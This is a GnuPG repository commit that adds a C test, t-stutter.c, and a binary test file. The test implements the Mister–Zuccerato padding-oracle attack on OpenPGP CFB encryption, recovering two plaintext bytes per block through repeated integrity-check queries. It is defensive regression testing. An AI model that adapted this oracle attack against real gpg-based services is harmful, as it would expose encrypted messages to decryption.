mirror of
git://git.gnupg.org/gnupg.git
synced 2024-12-21 10:09:57 +01:00
gpg: Add a new test.
* g10/Makefile.am (EXTRA_DIST): Add t-stutter-data.asc. (module_tests): Add t-stutter. (t_stutter_SOURCES): New variable. (t_stutter_LDADD): New variable. -- Signed-off-by: Neal H. Walfield <neal@g10code.com> Add a test to check that the Mister and Zuccerato attack described in "An Attack on CFB Mode Encryption As Used by OpenPGP" works.
This commit is contained in:
parent
eea139c56e
commit
b17577eac6
@ -21,7 +21,7 @@
|
||||
EXTRA_DIST = options.skel dirmngr-conf.skel distsigkey.gpg \
|
||||
ChangeLog-2011 gpg-w32info.rc \
|
||||
gpg.w32-manifest.in test.c t-keydb-keyring.kbx \
|
||||
t-keydb-get-keyblock.gpg
|
||||
t-keydb-get-keyblock.gpg t-stutter-data.asc
|
||||
|
||||
AM_CPPFLAGS = -I$(top_srcdir)/common
|
||||
|
||||
@ -166,7 +166,7 @@ gpgcompose_LDADD = $(LDADD) $(SQLITE3_LIBS) $(LIBGCRYPT_LIBS) $(LIBREADLINE) \
|
||||
gpgcompose_LDFLAGS = $(extra_bin_ldflags)
|
||||
|
||||
t_common_ldadd =
|
||||
module_tests = t-rmd160 t-keydb t-keydb-get-keyblock
|
||||
module_tests = t-rmd160 t-keydb t-keydb-get-keyblock t-stutter
|
||||
t_rmd160_SOURCES = t-rmd160.c rmd160.c
|
||||
t_rmd160_LDADD = $(t_common_ldadd)
|
||||
t_keydb_SOURCES = t-keydb.c test-stubs.c $(common_source)
|
||||
@ -176,6 +176,10 @@ t_keydb_get_keyblock_SOURCES = t-keydb-get-keyblock.c test-stubs.c \
|
||||
$(common_source)
|
||||
t_keydb_get_keyblock_LDADD = $(LDADD) $(LIBGCRYPT_LIBS) $(GPG_ERROR_LIBS) \
|
||||
$(LIBICONV) $(t_common_ldadd)
|
||||
t_stutter_SOURCES = t-stutter.c test-stubs.c \
|
||||
$(common_source)
|
||||
t_stutter_LDADD = $(LDADD) $(LIBGCRYPT_LIBS) $(GPG_ERROR_LIBS) \
|
||||
$(LIBICONV) $(t_common_ldadd)
|
||||
|
||||
|
||||
$(PROGRAMS): $(needed_libs) ../common/libgpgrl.a
|
||||
|
1
g10/t-stutter-data.asc
Normal file
1
g10/t-stutter-data.asc
Normal file
@ -0,0 +1 @@
|
||||
É?Òéq`Hêhâ©ŠÅÒV½çxDI2<12>‡3ø”Oœ¢*Gû¨—y¾Iaª«lš{’eîwò{B»c1‡Bµ³
|
609
g10/t-stutter.c
Normal file
609
g10/t-stutter.c
Normal file
@ -0,0 +1,609 @@
|
||||
/* t-stutter.c - Test the stutter exploit.
|
||||
* Copyright (C) 2016 g10 Code GmbH
|
||||
*
|
||||
* This file is part of GnuPG.
|
||||
*
|
||||
* GnuPG is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* GnuPG is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program; if not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/* This test is based on the paper: "An Attack on CFB Mode Encryption
|
||||
* as Used by OpenPGP." This attack uses a padding oracle to decrypt
|
||||
* the first two bytes of each block (which are normally 16 bytes
|
||||
* large). Concretely, if an attacker can use this attack if it can
|
||||
* sense whether the quick integrity check failed. See RFC 4880,
|
||||
* Section 5.7 for an explanation of this quick check.
|
||||
*
|
||||
* The concrete attack, as described in the paper, only works for
|
||||
* PKT_ENCRYPTED packets; it does not work for PKT_ENCRYPTED_MDC
|
||||
* packets, which use a slightly different CFB mode (they don't
|
||||
* include a sync after the IV). But, small modifications should
|
||||
* allow the attack to work for PKT_ENCRYPTED_MDC packets.
|
||||
*
|
||||
* The cost of this attack is 2^15 + i * 2^15 oracle queries, where i
|
||||
* is the number of blocks the attack wants to decrypt. This attack
|
||||
* is completely unfeasible when gpg is used interactively, but it
|
||||
* could work when used as a service.
|
||||
*
|
||||
* How to generate a test message:
|
||||
*
|
||||
* $ echo 0123456789abcdefghijklmnopqrstuvwxyz | gpg2 --disable-mdc -z 0 -c > msg.asc
|
||||
* $ gpg2 --list-packets msg.asc
|
||||
* # Make sure the encryption packet contains a literal packet (without
|
||||
* # any nesting).
|
||||
* $ gpgsplit msg.asc
|
||||
* $ gpg2 --show-session-key -d msg.asc
|
||||
* $ ./t-stutter --debug SESSION_KEY 000002-009.encrypted
|
||||
*/
|
||||
|
||||
#include <config.h>
|
||||
#include <errno.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include "gpg.h"
|
||||
#include "main.h"
|
||||
#include "../common/types.h"
|
||||
#include "util.h"
|
||||
#include "dek.h"
|
||||
#include "../common/logging.h"
|
||||
|
||||
static void
|
||||
log_hexdump (byte *buffer, int length)
|
||||
{
|
||||
int written = 0;
|
||||
|
||||
fprintf (stderr, "%d bytes:\n", length);
|
||||
while (length > 0)
|
||||
{
|
||||
int have = length > 16 ? 16 : length;
|
||||
int i;
|
||||
char formatted[2 * have + 1];
|
||||
char text[have + 1];
|
||||
|
||||
fprintf (stderr, "%-8d ", written);
|
||||
bin2hex (buffer, have, formatted);
|
||||
for (i = 0; i < 16; i ++)
|
||||
{
|
||||
if (i % 2 == 0)
|
||||
fputc (' ', stderr);
|
||||
if (i % 8 == 0)
|
||||
fputc (' ', stderr);
|
||||
|
||||
if (i < have)
|
||||
fwrite (&formatted[2 * i], 2, 1, stderr);
|
||||
else
|
||||
fwrite (" ", 2, 1, stderr);
|
||||
}
|
||||
|
||||
for (i = 0; i < have; i ++)
|
||||
if (isprint (buffer[i]))
|
||||
text[i] = buffer[i];
|
||||
else
|
||||
text[i] = '.';
|
||||
text[i] = 0;
|
||||
|
||||
fprintf (stderr, " ");
|
||||
if (strlen (text) > 8)
|
||||
{
|
||||
fwrite (text, 8, 1, stderr);
|
||||
fputc (' ', stderr);
|
||||
fwrite (&text[8], strlen (text) - 8, 1, stderr);
|
||||
}
|
||||
else
|
||||
fwrite (text, strlen (text), 1, stderr);
|
||||
fputc ('\n', stderr);
|
||||
|
||||
buffer += have;
|
||||
length -= have;
|
||||
written += have;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
static char *
|
||||
hexstr (const byte *bytes)
|
||||
{
|
||||
static int i;
|
||||
static char bufs[100][7];
|
||||
|
||||
i ++;
|
||||
if (i == 100)
|
||||
i = 0;
|
||||
|
||||
sprintf (bufs[i], "0x%02X%02X", bytes[0], bytes[1]);
|
||||
return bufs[i];
|
||||
}
|
||||
|
||||
/* xor the two bytes starting at A with the two bytes starting at B
|
||||
and return the result. */
|
||||
static byte *
|
||||
bufxor2 (const byte *a, const byte *b)
|
||||
{
|
||||
static int i;
|
||||
static char bufs[100][2];
|
||||
|
||||
i ++;
|
||||
if (i == 100)
|
||||
i = 0;
|
||||
|
||||
bufs[i][0] = a[0] ^ b[0];
|
||||
bufs[i][1] = a[1] ^ b[1];
|
||||
return bufs[i];
|
||||
}
|
||||
|
||||
/* The session key stays constant. */
|
||||
static DEK dek;
|
||||
int blocksize;
|
||||
|
||||
/* Decode the session key, which is in the format output by gpg
|
||||
--show-session-key. */
|
||||
static void
|
||||
parse_session_key (char *session_key)
|
||||
{
|
||||
char *tail;
|
||||
char *p = session_key;
|
||||
|
||||
errno = 0;
|
||||
dek.algo = strtol (p, &tail, 10);
|
||||
if (errno || (tail && *tail != ':'))
|
||||
log_fatal ("Invalid session key specification. "
|
||||
"Expected: cipher-id:HEXADECIMAL-CHRACTERS\n");
|
||||
|
||||
/* Skip the ':'. */
|
||||
p = tail + 1;
|
||||
|
||||
if (strlen (p) % 2 != 0)
|
||||
log_fatal ("Session key must consist of an even number of hexadecimal characters.\n");
|
||||
|
||||
dek.keylen = strlen (p) / 2;
|
||||
log_assert (dek.keylen <= sizeof (dek.key));
|
||||
|
||||
if (hex2bin (p, dek.key, dek.keylen) == -1)
|
||||
log_fatal ("Session key must only contain hexadecimal characters\n");
|
||||
|
||||
blocksize = openpgp_cipher_get_algo_blklen (dek.algo);
|
||||
if ( !blocksize || blocksize > 16 )
|
||||
log_fatal ("unsupported blocksize %u\n", blocksize );
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
/* The ciphertext, the plaintext as decrypted by the good session key,
|
||||
and the cfb stream (derived from the ciphertext and the
|
||||
plaintext). */
|
||||
static int msg_len;
|
||||
static byte *msg;
|
||||
static byte *msg_plaintext;
|
||||
static byte *msg_cfb;
|
||||
|
||||
/* Whether we need to resynchronize the CFB after writing the random
|
||||
data (this is the case for encrypted packets, but not encrypted and
|
||||
integrity protected packets). */
|
||||
static int sync;
|
||||
|
||||
static int
|
||||
block_offset (int i)
|
||||
{
|
||||
int extra = 0;
|
||||
|
||||
log_assert (i >= 1);
|
||||
/* Make sure blocksize has been initialized. */
|
||||
log_assert (blocksize);
|
||||
|
||||
if (i > 2)
|
||||
{
|
||||
i -= 2;
|
||||
extra = blocksize + 2;
|
||||
}
|
||||
return (i - 1) * blocksize + extra;
|
||||
}
|
||||
|
||||
/* Return the ith block from TEXT. The first block is labeled 1.
|
||||
Note: consistent with the OpenPGP message format, the second block
|
||||
(i=2) is just 2 bytes. */
|
||||
static byte *
|
||||
block (byte *text, int len, int i)
|
||||
{
|
||||
int offset = block_offset (i);
|
||||
|
||||
log_assert (offset < len);
|
||||
return &text[offset];
|
||||
}
|
||||
|
||||
/* Return true if the quick integrity check passes. Also, if
|
||||
PLAINTEXTP is not NULL, return the decrypted plaintext in
|
||||
*PLAINTEXTP. If CFBP is not NULL, return the CFB byte stream in
|
||||
*CFBP. */
|
||||
static int
|
||||
oracle (int debug, byte *ciphertext, int len, byte **plaintextp, byte **cfbp)
|
||||
{
|
||||
int rc = 0;
|
||||
unsigned nprefix;
|
||||
gcry_cipher_hd_t cipher_hd = NULL;
|
||||
byte *plaintext = NULL;
|
||||
byte *cfb = NULL;
|
||||
|
||||
/* Make sure DEK was initialized. */
|
||||
log_assert (dek.algo);
|
||||
log_assert (dek.keylen);
|
||||
log_assert (blocksize);
|
||||
|
||||
nprefix = blocksize;
|
||||
if (len < nprefix + 2)
|
||||
{
|
||||
/* An invalid message. We can't check that during parsing
|
||||
because we may not know the used cipher then. */
|
||||
rc = gpg_error (GPG_ERR_INV_PACKET);
|
||||
goto leave;
|
||||
}
|
||||
|
||||
rc = openpgp_cipher_open (&cipher_hd, dek.algo,
|
||||
GCRY_CIPHER_MODE_CFB,
|
||||
(! sync /* ed->mdc_method || dek.algo >= 100 */ ?
|
||||
0 : GCRY_CIPHER_ENABLE_SYNC));
|
||||
if (rc)
|
||||
log_fatal ("Failed to open cipher: %s\n", gpg_strerror (rc));
|
||||
|
||||
rc = gcry_cipher_setkey (cipher_hd, dek.key, dek.keylen);
|
||||
if (gpg_err_code (rc) == GPG_ERR_WEAK_KEY)
|
||||
{
|
||||
log_info ("WARNING: message was encrypted with"
|
||||
" a weak key in the symmetric cipher.\n");
|
||||
rc=0;
|
||||
}
|
||||
else if( rc )
|
||||
log_fatal ("key setup failed: %s\n", gpg_strerror (rc));
|
||||
|
||||
gcry_cipher_setiv (cipher_hd, NULL, 0);
|
||||
|
||||
if (debug)
|
||||
{
|
||||
log_debug ("Encrypted data:\n");
|
||||
log_hexdump(ciphertext, len);
|
||||
}
|
||||
plaintext = xmalloc_clear (len);
|
||||
gcry_cipher_decrypt (cipher_hd, plaintext, blocksize + 2,
|
||||
ciphertext, blocksize + 2);
|
||||
gcry_cipher_sync (cipher_hd);
|
||||
if (len > blocksize+2)
|
||||
gcry_cipher_decrypt (cipher_hd,
|
||||
&plaintext[blocksize+2], len-(blocksize+2),
|
||||
&ciphertext[blocksize+2], len-(blocksize+2));
|
||||
|
||||
if (debug)
|
||||
{
|
||||
log_debug ("Decrypted data:\n");
|
||||
log_hexdump (plaintext, len);
|
||||
log_debug ("R_{b-1,b} = %s\n", hexstr (&plaintext[blocksize - 2]));
|
||||
log_debug ("R_{b+1,b+2} = %s\n", hexstr (&plaintext[blocksize]));
|
||||
}
|
||||
|
||||
if (cfbp || debug)
|
||||
{
|
||||
int i;
|
||||
cfb = xmalloc (len);
|
||||
for (i = 0; i < len; i ++)
|
||||
cfb[i] = plaintext[i] ^ ciphertext[i];
|
||||
|
||||
log_assert (len >= blocksize + 2);
|
||||
|
||||
if (debug)
|
||||
{
|
||||
log_debug ("cfb:\n");
|
||||
log_hexdump (cfb, len);
|
||||
|
||||
log_debug ("E_k([C_1]_{1,2}) = C_2 xor R (%s xor %s) = %s\n",
|
||||
hexstr (&ciphertext[blocksize]),
|
||||
hexstr (&plaintext[blocksize]),
|
||||
hexstr (bufxor2 (&ciphertext[blocksize],
|
||||
&plaintext[blocksize])));
|
||||
if (len >= blocksize + 4)
|
||||
log_debug ("D = Ek([C1]_{3-b} || C_2)_{1-2} (%s) xor C2 (%s) xor E_k(0)_{b-1,b} (%s) = %s\n",
|
||||
hexstr (&cfb[blocksize + 2]),
|
||||
hexstr (&ciphertext[blocksize]),
|
||||
hexstr (&cfb[blocksize - 2]),
|
||||
hexstr (bufxor2 (bufxor2 (&cfb[blocksize + 2],
|
||||
&ciphertext[blocksize]),
|
||||
&cfb[blocksize - 2])));
|
||||
}
|
||||
}
|
||||
|
||||
if (plaintext[nprefix-2] != plaintext[nprefix]
|
||||
|| plaintext[nprefix-1] != plaintext[nprefix+1])
|
||||
{
|
||||
rc = gpg_error (GPG_ERR_BAD_KEY);
|
||||
goto leave;
|
||||
}
|
||||
|
||||
leave:
|
||||
if (! rc && plaintextp)
|
||||
*plaintextp = plaintext;
|
||||
else
|
||||
xfree (plaintext);
|
||||
|
||||
if (! rc && cfbp)
|
||||
*cfbp = cfb;
|
||||
else
|
||||
xfree (cfb);
|
||||
|
||||
if (cipher_hd)
|
||||
gcry_cipher_close (cipher_hd);
|
||||
return rc;
|
||||
}
|
||||
|
||||
/* Query the oracle with D=D for block B. */
|
||||
static int
|
||||
oracle_test (unsigned int d, int b, int debug)
|
||||
{
|
||||
byte probe[blocksize + 2];
|
||||
|
||||
log_assert (d < 256 * 256);
|
||||
|
||||
if (b == 1)
|
||||
memcpy (probe, &msg[2], blocksize);
|
||||
else
|
||||
memcpy (probe, block (msg, msg_len, b), blocksize);
|
||||
|
||||
probe[blocksize] = d >> 8;
|
||||
probe[blocksize + 1] = d & 0xff;
|
||||
|
||||
if (debug)
|
||||
log_debug ("oracle (0x%04X):\n", d);
|
||||
|
||||
return oracle (debug, probe, blocksize + 2, NULL, NULL) == 0;
|
||||
}
|
||||
|
||||
int
|
||||
main (int argc, char *argv[])
|
||||
{
|
||||
int i;
|
||||
int debug = 0;
|
||||
char *filename = NULL;
|
||||
int help = 0;
|
||||
|
||||
byte *raw_data;
|
||||
int raw_data_len;
|
||||
|
||||
int failed = 0;
|
||||
|
||||
for (i = 1; i < argc; i ++)
|
||||
{
|
||||
if (strcmp (argv[i], "--debug") == 0)
|
||||
debug = 1;
|
||||
else if (! blocksize)
|
||||
parse_session_key (argv[i]);
|
||||
else if (! filename)
|
||||
filename = argv[i];
|
||||
else
|
||||
{
|
||||
help = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (! blocksize && ! filename && (filename = getenv ("srcdir")))
|
||||
/* Try defaults. */
|
||||
{
|
||||
parse_session_key ("9:9274A8EC128E850C6DDDF9EAC68BFA84FC7BC05F340DA41D78C93D0640C7C503");
|
||||
filename = xasprintf ("%s/t-stutter-data.asc", filename);
|
||||
}
|
||||
|
||||
if (help || ! blocksize || ! filename)
|
||||
log_fatal ("Usage: %s [--debug] SESSION_KEY ENCRYPTED_PKT\n", argv[0]);
|
||||
|
||||
/* Don't read more than a KB. */
|
||||
raw_data_len = 1024;
|
||||
raw_data = xmalloc (raw_data_len);
|
||||
|
||||
{
|
||||
FILE *fp;
|
||||
int r;
|
||||
|
||||
fp = fopen (filename, "r");
|
||||
if (! fp)
|
||||
log_fatal ("Opening %s: %s\n", filename, strerror (errno));
|
||||
r = fread (raw_data, 1, raw_data_len, fp);
|
||||
fclose (fp);
|
||||
|
||||
/* We need at least the random data, the encrypted and literal
|
||||
packets' headers and some body. */
|
||||
if (r < (blocksize + 2 /* Random data. */
|
||||
+ 2 * blocksize /* Header + some plaintext. */))
|
||||
log_fatal ("Not enough data (need at least %d bytes of plain text): %s.\n",
|
||||
blocksize + 2, strerror (errno));
|
||||
raw_data_len = r;
|
||||
|
||||
if (debug)
|
||||
{
|
||||
log_debug ("First few bytes of the raw data:\n");
|
||||
log_hexdump (raw_data, raw_data_len > 8 ? 8 : raw_data_len);
|
||||
}
|
||||
}
|
||||
|
||||
/* Parse the packet's header. */
|
||||
{
|
||||
int ctb = raw_data[0];
|
||||
int new_format = ctb & (1 << 7);
|
||||
int pkttype = (ctb & ((1 << 5) - 1)) >> (new_format ? 0 : 2);
|
||||
int hdrlen;
|
||||
|
||||
if (new_format)
|
||||
{
|
||||
if (debug)
|
||||
log_debug ("len encoded: 0x%x (%d)\n", raw_data[1], raw_data[1]);
|
||||
if (raw_data[1] < 192)
|
||||
hdrlen = 2;
|
||||
else if (raw_data[1] < 224)
|
||||
hdrlen = 3;
|
||||
else if (raw_data[1] == 255)
|
||||
hdrlen = 5;
|
||||
else
|
||||
hdrlen = 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
int lentype = ctb & 0x3;
|
||||
if (lentype == 0)
|
||||
hdrlen = 2;
|
||||
else if (lentype == 1)
|
||||
hdrlen = 3;
|
||||
else if (lentype == 2)
|
||||
hdrlen = 5;
|
||||
else
|
||||
/* Indeterminate. */
|
||||
hdrlen = 1;
|
||||
}
|
||||
|
||||
if (debug)
|
||||
log_debug ("ctb = %x; %s format, hdrlen: %d, packet: %s\n",
|
||||
ctb, new_format ? "new" : "old",
|
||||
hdrlen,
|
||||
pkttype_str (pkttype));
|
||||
|
||||
if (! (pkttype == PKT_ENCRYPTED || pkttype == PKT_ENCRYPTED_MDC))
|
||||
log_fatal ("%s does not contain an encrypted packet, but a %s.\n",
|
||||
filename, pkttype_str (pkttype));
|
||||
|
||||
if (pkttype == PKT_ENCRYPTED_MDC)
|
||||
{
|
||||
/* The first byte following the header is the version, which
|
||||
is 1. */
|
||||
log_assert (raw_data[hdrlen] == 1);
|
||||
hdrlen ++;
|
||||
sync = 0;
|
||||
}
|
||||
else
|
||||
sync = 1;
|
||||
|
||||
msg = &raw_data[hdrlen];
|
||||
msg_len = raw_data_len - hdrlen;
|
||||
}
|
||||
|
||||
log_assert (msg_len >= blocksize + 2);
|
||||
|
||||
{
|
||||
/* This can at least partially be guessed. So we just assume that
|
||||
it is known. */
|
||||
int d;
|
||||
int found;
|
||||
const byte *m1;
|
||||
byte e_k_zero[2];
|
||||
|
||||
if (oracle (debug, msg, msg_len, &msg_plaintext, &msg_cfb) == 0)
|
||||
{
|
||||
if (debug)
|
||||
log_debug ("Session key appears to be good.\n");
|
||||
}
|
||||
else
|
||||
log_fatal ("Session key is bad!\n");
|
||||
|
||||
m1 = &msg_plaintext[blocksize + 2];
|
||||
if (debug)
|
||||
log_debug ("First two bytes of plaintext are: %02X (%c) %02X (%c)\n",
|
||||
m1[0], isprint (m1[0]) ? m1[0] : '?',
|
||||
m1[1], isprint (m1[1]) ? m1[1] : '?');
|
||||
|
||||
for (d = 0; d < 256 * 256; d ++)
|
||||
if ((found = oracle_test (d, 1, 0)))
|
||||
break;
|
||||
|
||||
if (! found)
|
||||
log_fatal ("Failed to find d!\n");
|
||||
|
||||
if (debug)
|
||||
oracle_test (d, 1, 1);
|
||||
|
||||
if (debug)
|
||||
log_debug ("D = %d (%x) looks good.\n", d, d);
|
||||
|
||||
{
|
||||
byte *c2 = block (msg, msg_len, 2);
|
||||
byte D[2] = { d >> 8, d & 0xFF };
|
||||
byte *c3 = block (msg, msg_len, 3);
|
||||
|
||||
memcpy (e_k_zero,
|
||||
bufxor2 (bufxor2 (c2, D),
|
||||
bufxor2 (c3, m1)),
|
||||
sizeof (e_k_zero));
|
||||
|
||||
if (debug)
|
||||
{
|
||||
log_debug ("C2 = %s\n", hexstr (c2));
|
||||
log_debug ("D = %s\n", hexstr (D));
|
||||
log_debug ("C3 = %s\n", hexstr (c3));
|
||||
log_debug ("M = %s\n", hexstr (m1));
|
||||
log_debug ("E_k([C1]_{3-b} || C_2) = C3 xor M1 = %s\n",
|
||||
hexstr (bufxor2 (c3, m1)));
|
||||
log_debug ("E_k(0)_{b-1,b} = %s\n", hexstr (e_k_zero));
|
||||
}
|
||||
}
|
||||
|
||||
/* Figure out the first 2 bytes of M2... (offset 16 & 17 of the
|
||||
plain text assuming the blocksize == 16 or bytes 34 & 35 of the
|
||||
decrypted cipher text, i.e., C4). */
|
||||
for (i = 1; block_offset (i + 3) + 2 <= msg_len; i ++)
|
||||
{
|
||||
byte e_k_prime[2];
|
||||
byte m[2];
|
||||
byte *ct = block (msg, msg_len, i + 2);
|
||||
byte *pt = block (msg_plaintext, msg_len, 2 + i + 1);
|
||||
|
||||
for (d = 0; d < 256 * 256; d ++)
|
||||
if (oracle_test (d, i + 2, 0))
|
||||
{
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
|
||||
if (! found)
|
||||
log_fatal ("Failed to find a valid d for block %d\n", i);
|
||||
|
||||
if (debug)
|
||||
log_debug ("Block %d: oracle: D = %04X passes integrity check\n",
|
||||
i, d);
|
||||
|
||||
{
|
||||
byte D[2] = { d >> 8, d & 0xFF };
|
||||
memcpy (e_k_prime,
|
||||
bufxor2 (bufxor2 (&ct[blocksize - 2], D), e_k_zero),
|
||||
sizeof (e_k_prime));
|
||||
|
||||
memcpy (m, bufxor2 (e_k_prime, block (msg, msg_len, i + 3)),
|
||||
sizeof (m));
|
||||
}
|
||||
|
||||
if (debug)
|
||||
log_debug ("=> block %d starting at %zd starts with: "
|
||||
"%s (%c%c)\n",
|
||||
i, (size_t) pt - (size_t) msg_plaintext,
|
||||
hexstr (m),
|
||||
isprint (m[0]) ? m[0] : '?', isprint (m[1]) ? m[1] : '?');
|
||||
|
||||
if (m[0] != pt[0] || m[1] != pt[1])
|
||||
{
|
||||
log_debug ("oracle attack failed! Expected %s (%c%c), got %s\n",
|
||||
hexstr (pt),
|
||||
isprint (pt[0]) ? pt[0] : '?',
|
||||
isprint (pt[1]) ? pt[1] : '?',
|
||||
hexstr (m));
|
||||
failed = 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (i == 1)
|
||||
log_fatal ("Message is too short, nothing to test.\n");
|
||||
}
|
||||
|
||||
return failed;
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user